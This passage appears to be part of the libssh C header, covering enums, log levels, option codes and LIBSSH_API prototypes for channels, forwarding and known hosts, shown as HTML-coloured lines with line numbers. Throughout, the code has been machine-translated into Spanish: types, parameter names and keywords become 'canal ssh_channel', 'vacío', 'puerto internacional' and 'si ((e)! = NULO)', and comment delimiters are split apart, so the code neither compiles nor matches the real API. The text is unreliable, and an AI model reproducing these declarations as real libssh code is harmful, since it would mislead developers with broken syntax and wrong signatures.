SSH_KEYTYPE_RSA_CERT01</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>300 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>301 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>302 enum ssh_keycmp_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>303 SSH_KEY_CMP_PUBLIC = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>304 SSH_KEY_CMP_PRIVATE</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>305 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>306 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>307 #define SSH_ADDRSTRLEN 46</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>308 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>309 struct ssh_knownhosts_entry {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>310 char * nombre de host;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>311 char * sin analizar;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>312 ssh_key publickey;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>313 char * comentario;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>314 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>315 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>316 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>317 / * Códigos de retorno de error * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>318 #define SSH_OK 0 / * Sin error * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>319 #define SSH_ERROR -1 / </span> <span style='color:#00c4c4; '>* Error de algún tipo * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>320 #define SSH_AGAIN -2 / </span> <span style='color:#00c4c4; '>* La llamada sin bloqueo debe repetirse * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>321 #define SSH_EOF -127 / * Ya tenemos un eof * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>322 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>329 enum {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>332 SSH_LOG_NOLOG = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>335 SSH_LOG_WARNING ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>338 SSH_LOG_PROTOCOL ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>341 SSH_LOG_PACKET ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>344 SSH_LOG_FUNCTIONS</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>345 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>347 #define SSH_LOG_RARE SSH_LOG_WARNING</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>348 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>357 #define SSH_LOG_NONE 0</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>358 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>359 #define SSH_LOG_WARN 1</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>360 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>361 #define SSH_LOG_INFO 2</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>362 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>363 #define SSH_LOG_DEBUG 3</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>364 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>365 #define SSH_LOG_TRACE 4</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>366 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>369 enum ssh_options_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>370 SSH_OPTIONS_HOST,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>371 SSH_OPTIONS_PORT,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>372 SSH_OPTIONS_PORT_STR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>373 SSH_OPTIONS_FD,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>374 SSH_OPTIONS_USER,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>375 SSH_OPTIONS_SSH_DIR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>376 SSH_OPTIONS_IDENTITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>377 SSH_OPTIONS_ADD_IDENTITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>378 SSH_OPTIONS_KNOWNHOSTS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>379 SSH_OPTIONS_TIMEOUT,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>380 SSH_OPTIONS_TIMEOUT_USEC,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>381 SSH_OPTIONS_SSH1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>382 SSH_OPTIONS_SSH2,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>383 SSH_OPTIONS_LOG_VERBOSITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>384 SSH_OPTIONS_LOG_VERBOSITY_STR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>385 SSH_OPTIONS_CIPHERS_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>386 SSH_OPTIONS_CIPHERS_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>387 SSH_OPTIONS_COMPRESSION_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>388 SSH_OPTIONS_COMPRESSION_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>389 SSH_OPTIONS_PROXYCOMMAND,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>390 SSH_OPTIONS_BINDADDR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>391 SSH_OPTIONS_STRICTHOSTKEYCHECK,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>392 SSH_OPTIONS_COMPRESSION,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>393 SSH_OPTIONS_COMPRESSION_LEVEL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>394 SSH_OPTIONS_KEY_EXCHANGE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>395 SSH_OPTIONS_HOSTKEYS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>396 SSH_OPTIONS_GSSAPI_SERVER_IDENTITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>397 SSH_OPTIONS_GSSAPI_CLIENT_IDENTITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>398 SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>399 SSH_OPTIONS_HMAC_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>400 SSH_OPTIONS_HMAC_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>401 SSH_OPTIONS_PASSWORD_AUTH,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>402 SSH_OPTIONS_PUBKEY_AUTH,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>403 SSH_OPTIONS_KBDINT_AUTH,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>404 SSH_OPTIONS_GSSAPI_AUTH,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>405 SSH_OPTIONS_GLOBAL_KNOWNHOSTS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>406 SSH_OPTIONS_NODELAY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>407 SSH_OPTIONS_PUBLICKEY_ACCEPTED_TYPES,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>408 SSH_OPTIONS_PROCESS_CONFIG,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>409 SSH_OPTIONS_REKEY_DATA,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>410 SSH_OPTIONS_REKEY_TIME,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>411 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>412 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>413 enum {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>415 SSH_SCP_WRITE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>417 SSH_SCP_READ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>418 SSH_SCP_RECURSIVE = 0x10</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>419 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>420 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>421 enum ssh_scp_request_types {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>423 SSH_SCP_REQUEST_NEWDIR = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>425 SSH_SCP_REQUEST_NEWFILE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>427 SSH_SCP_REQUEST_EOF,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>429 SSH_SCP_REQUEST_ENDDIR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>431 SSH_SCP_REQUEST_WARNING</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>432 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>433 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>434 enum ssh_connector_flags_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>436 SSH_CONNECTOR_STDOUT = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>438 SSH_CONNECTOR_STDERR = 2,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>440 SSH_CONNECTOR_BOTH = 3</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>441 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>442 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>443 LIBSSH_API int ssh_blocking_flush </span> <span style='color:#00c4c4; '>( sesión ssh_session , int timeout);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>444 LIBSSH_API ssh_channel ssh_channel_accept_x11 </span> <span style='color:#00c4c4; '>( canal ssh_channel , int timeout_ms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>445 LIBSSH_API int ssh_channel_change_pty_size </span> <span style='color:#00c4c4; '>( canal ssh_channel , int cols, int filas);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>446 LIBSSH_API int ssh_channel_close </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>447 LIBSSH_API void ssh_channel_free </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>448 LIBSSH_API int ssh_channel_get_exit_status </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>449 LIBSSH_API ssh_session ssh_channel_get_session </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>450 LIBSSH_API int ssh_channel_is_closed </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>451 LIBSSH_API int ssh_channel_is_eof </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>452 LIBSSH_API int ssh_channel_is_open </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>453 LIBSSH_API ssh_channel ssh_channel_new </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>454 LIBSSH_API int ssh_channel_open_auth_agent </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>455 LIBSSH_API int ssh_channel_open_forward </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * host remoto,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>456 int puerto remoto, const char </span> <span style='color:#00c4c4; '>* sourcehost, int localport);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>457 LIBSSH_API int ssh_channel_open_session </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>458 LIBSSH_API int ssh_channel_open_x11 </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * orig_addr, </span> <span style='color:#00c4c4; '>int orig_port);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>459 LIBSSH_API int ssh_channel_poll </span> <span style='color:#00c4c4; '>( canal ssh_channel , int is_stderr);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>460 LIBSSH_API int ssh_channel_poll_timeout </span> <span style='color:#00c4c4; '>( canal ssh_channel , int timeout, int is_stderr);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>461 LIBSSH_API int ssh_channel_read </span> <span style='color:#00c4c4; '>( canal ssh_channel , void * dest, uint32_t </span> <span style='color:#00c4c4; '>count, int is_stderr);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>462 LIBSSH_API int ssh_channel_read_timeout </span> <span style='color:#00c4c4; '>( ssh_channel channel, void * dest, </span> <span style='color:#00c4c4; '>uint32_t count, int is_stderr, int timeout_ms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>463 LIBSSH_API int ssh_channel_read_nonblocking </span> <span style='color:#00c4c4; '>( canal ssh_channel , void * dest, uint32_t count,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>464 int is_stderr);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>465 LIBSSH_API int ssh_channel_request_env </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * nombre, const char </span> <span style='color:#00c4c4; '>* valor);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>466 LIBSSH_API int ssh_channel_request_exec </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * cmd);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>467 LIBSSH_API int ssh_channel_request_pty </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>468 LIBSSH_API int ssh_channel_request_pty_size </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * term,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>469 int cols, int filas);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>470 LIBSSH_API int ssh_channel_request_shell </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>471 LIBSSH_API int ssh_channel_request_send_signal </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * signum);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>472 LIBSSH_API int ssh_channel_request_send_break </span> <span style='color:#00c4c4; '>( ssh_channel canal, longitud uint32_t);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>473 LIBSSH_API int ssh_channel_request_sftp </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>474 LIBSSH_API int ssh_channel_request_subsystem </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * subsistema);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>475 LIBSSH_API int ssh_channel_request_x11 </span> <span style='color:#00c4c4; '>( canal ssh_channel , int single_connection, </span> <span style='color:#00c4c4; '>const char * protocolo,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>476 const char * cookie, int número_pantalla);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>477 LIBSSH_API int ssh_channel_request_auth_agent </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>478 LIBSSH_API int ssh_channel_send_eof </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>479 LIBSSH_API int ssh_channel_select </span> <span style='color:#00c4c4; '>( ssh_channel * readchans, ssh_channel * </span> <span style='color:#00c4c4; '>writechans, ssh_channel * exceptchans, struct</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>480 timeval * tiempo de espera);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>481 LIBSSH_API void ssh_channel_set_blocking </span> <span style='color:#00c4c4; '>( canal ssh_channel , bloqueo int );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>482 LIBSSH_API void ssh_channel_set_counter </span> <span style='color:#00c4c4; '>( canal ssh_channel ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>483 contador ssh_counter );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>484 LIBSSH_API int ssh_channel_write </span> <span style='color:#00c4c4; '>( canal ssh_channel , const void * datos, uint32_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>485 LIBSSH_API int ssh_channel_write_stderr </span> <span style='color:#00c4c4; '>( canal ssh_channel ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>486 const void * datos,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>487 uint32_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>488 LIBSSH_API uint32_t ssh_channel_window_size </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>489 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>490 LIBSSH_API char * ssh_basename </span> <span style='color:#00c4c4; '>( const char * ruta);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>491 LIBSSH_API void ssh_clean_pubkey_hash (</span> <span style='color:#00c4c4; '> carácter sin firmar ** hash);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>492 LIBSSH_API int ssh_connect ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>493 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>494 LIBSSH_API ssh_connector ssh_connector_new </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>495 LIBSSH_API void ssh_connector_free </span> <span style='color:#00c4c4; '>( conector ssh_connector );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>496 LIBSSH_API int ssh_connector_set_in_channel </span> <span style='color:#00c4c4; '>( conector ssh_connector ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>497 canal ssh_channel ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>498 enum ssh_connector_flags_e banderas);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>499 LIBSSH_API int ssh_connector_set_out_channel </span> <span style='color:#00c4c4; '>( conector ssh_connector ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>500 canal ssh_channel ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>501 enum ssh_connector_flags_e flags);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>502 LIBSSH_API void ssh_connector_set_in_fd </span> <span style='color:#00c4c4; '>( ssh_connector conector, fd socket_t);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>503 LIBSSH_API vacío ssh_connector_set_out_fd </span> <span style='color:#00c4c4; '>( ssh_connector conector, fd socket_t);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>504 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>505 LIBSSH_API const char * ssh_copyright ( void );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>506 LIBSSH_API void ssh_disconnect </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>507 LIBSSH_API char * ssh_dirname ( const char * ruta);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>508 LIBSSH_API int ssh_finalize ( void );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>509 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>510 / * REENVÍO DE PUERTO INVERSO * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>511 LIBSSH_API ssh_channel ssh_channel_accept_forward </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>512 int timeout_ms,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>513 int * puerto_destino);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>514 LIBSSH_API int ssh_channel_cancel_forward </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>515 const char * dirección,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>516 int puerto);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>517 LIBSSH_API int ssh_channel_listen_forward </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>518 const char * dirección,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>519 puerto internacional ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>520 int * puerto_delimitado);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>521 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>522 LIBSSH_API void ssh_free ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>523 LIBSSH_API const char * ssh_get_disconnect_message </span> <span style='color:#00c4c4; '> ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>524 LIBSSH_API const char * ssh_get_error </span> <span style='color:#00c4c4; '>( void * error);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>525 LIBSSH_API int ssh_get_error_code </span> <span style='color:#00c4c4; '>( void * error);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>526 LIBSSH_API socket_t ssh_get_fd </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>527 LIBSSH_API char * ssh_get_hexa </span> <span style='color:#00c4c4; '>( const unsigned char * what, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>528 LIBSSH_API char * ssh_get_issue_banner </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>529 LIBSSH_API int ssh_get_openssh_version </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>530 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>531 LIBSSH_API int ssh_get_server_publickey </span> <span style='color:#00c4c4; '>( ssh_session sesión, clave ssh tecla *);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>532 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>533 enum ssh_publickey_hash_type {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>534 SSH_PUBLICKEY_HASH_SHA1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>535 SSH_PUBLICKEY_HASH_MD5,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>536 SSH_PUBLICKEY_HASH_SHA256</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>537 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>538 LIBSSH_API int ssh_get_publickey_hash </span> <span style='color:#00c4c4; '>( clave const ssh_key ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>539 enum ssh_publickey_hash_type type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>540 char ** hash sin firmar ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>541 size_t * HLEN);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>542 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>543 / * FUNCIONES ANULADAS * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>544 SSH_DEPRECATED LIBSSH_API int ssh_get_pubkey_hash </span> <span style='color:#00c4c4; '>( sesión ssh_session , carácter sin firmar ** hash);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>545 SSH_DEPRECATED LIBSSH_API ssh_channel </span> <span style='color:#00c4c4; '>ssh_forward_accept ( sesión ssh_session , int timeout_ms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>546 SSH_DEPRECATED LIBSSH_API int ssh_forward_cancel </span> <span style='color:#00c4c4; '>( sesión ssh_session , const char * dirección, int puerto);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>547 SSH_DEPRECATED LIBSSH_API int ssh_forward_listen </span> <span style='color:#00c4c4; '>( sesión ssh_session , const char * dirección, int puerto, int * bound_port);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>548 SSH_DEPRECATED LIBSSH_API int ssh_get_publickey </span> <span style='color:#00c4c4; '>( ssh_session sesión, clave ssh tecla *);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>549 SSH_DEPRECATED LIBSSH_API int ssh_write_knownhost </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>550 SSH_DEPRECATED LIBSSH_API char * ssh_dump_knownhost </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>551 SSH_DEPRECATED LIBSSH_API int ssh_is_server_known </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>552 SSH_DEPRECATED LIBSSH_API void ssh_print_hexa ( const char * descr, const unsigned char * what, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>553 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>554 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>555 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>556 LIBSSH_API int ssh_get_random </span> <span style='color:#00c4c4; '>( void * donde, int len, int fuerte);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>557 LIBSSH_API int ssh_get_version </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>558 LIBSSH_API int ssh_get_status </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>559 LIBSSH_API int ssh_get_poll_flags </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>560 LIBSSH_API int ssh_init ( vacío );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>561 LIBSSH_API int ssh_is_blocking </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>562 LIBSSH_API int ssh_is_connected </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>563 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>564 / * HOSTS CONOCIDOS * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>565 LIBSSH_API void ssh_knownhosts_entry_free </span> <span style='color:#00c4c4; '>( struct ssh_knownhosts_entry * entrada);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>566 #define SSH_KNOWNHOSTS_ENTRY_FREE (e) do {\</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>567 si ((e)! = NULO) {\</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>568 ssh_knownhosts_entry_free (e); \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>569 e = NULO; \</span> 